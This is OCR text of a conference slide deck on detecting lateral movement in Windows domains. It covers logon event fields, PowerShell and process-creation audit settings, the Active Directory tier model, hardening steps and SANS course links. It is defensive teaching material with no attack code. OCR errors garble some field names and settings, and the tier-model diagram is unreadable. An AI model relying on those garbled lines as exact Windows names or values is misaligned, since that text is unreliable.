TargetLinkedLogonld 0x0

ntiD 4624

mber this?

Computer dc01.talespin.ad

TargetUserName super_admin
LogionTy|;e 3

WorkstationName PLANEQZ

IpAddress 192.168.35.102

g

Detecting Lateral Movement using valid Credentials

Workstation |Workstation
Name Owner Uniq.Count User Name
PLANEO2 Don 10 super_admin
PLANEO1 baloo 2 baloo
SHIPO3 Louie 1 kit
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Enable PS , Cmdline Logging

e Administrative Templates - Windows Components - Windows PowerShell

. Windows PowerShell
Select an item to view its description.  Setting State Comment
|i=| Turn on Module Logging Enabled No
|i=| Turn on PowerShell Script Block Legging Enabled No
|i=| Turn on Script Execution Not configured No
@iTurn on PowerShell Transcription Enabled No
|i=] Set the default source path for Update-Help Mot configured No

PowerShell Logging

e Computer Configuration > Windows Settings > Security Settings > Advanced
Audit Policy Configuration > Detailed Tracking

| Software Restriction Policies # || Subcategory Audit Events

_| Application Control Policies
g, IP Security Policies on Active Direct
w [ | Advanced Audit Policy Configurati
v & Audit Policies

stz Audit DPAPI Activity Mot Configured
stz Audit PNP Activity Mot Configured

24 Audit Process Creation Success and Failure

= Account Logon itz Audit Process Termination Mot Configured
:EC;] Account Management sis| Audit RPC Events Mot Configured
3 Detailed Tracking si:| Audit Token Right Adjusted Mot Configured

55 DS Access

Cmdline Logging 53



What Should | do

Same Tier
A Logon

. Hic } sr T er
Tier 1 i ol
Di Logon

Admin Lower Tier
77777777 SCREAdns S Waliaicmee=muy | GIEES S\ A Snese Logon
Tier 2 )
D Di Blocked
; , A

Workstation Admins i Workstations

Workstation

Only as required
by role

Active Directory administrative tier model

Endpoint Segmentation - Windows Firewall

Limit RDP access from certain systems only
Disable Admin Shares - Clients

Harden Windows Remote Management
(WinRM)
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Take Away

Lateral Movement is a very critical step in attack
lifecycle

*Know Normal - Deploy Segmentation

* Detect Lateral Movement using valid Credentials
- Consider three step process
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Want to learn more?

 Lateral Movement Analyst Reference
https://www.appliedincidentresponse.com/resources/

 Lateral Movement using Event Logs

https://blogs.jpcert.or.jp/en/2017/12/research-report-released-detecting-
lateral-movement-through-tracking-event-logs-version-2.html

e MITRE ATT&CK — Lateral Movement
https://attack.mitre.org/tactics/TA0008/
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Interested to learn more?

SECS504: Hacker Tools, Techniques, Exploits, and Incident Handling

Associated Certification: GIAC Certified Incident Handler (GCIH)

FORS508: Advanced Incident Response, Threat Hunting, and Digital
Forensics

Associated Certification: GIAC Certified Forensic Analyst (GCFA)

FOR572: Advanced Network Forensics: Threat Hunting, Analysis,
and Incident Response

Associated Certification: GIAC Network Forensic Analyst (GNFA)

SECS555: SIEM with Tactical Analytics

Associated Certification: GIAC Certified Detection Analyst (GCDA)

SECS511: Continuous Monitoring and Security Operations

Associated Certification: GIAC Continuous Monitoring Certification (GMON)
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Thanks for listening!

Anurag Khanna

y @khannaanurag
m www.linkedin.com/in/khannaanurag




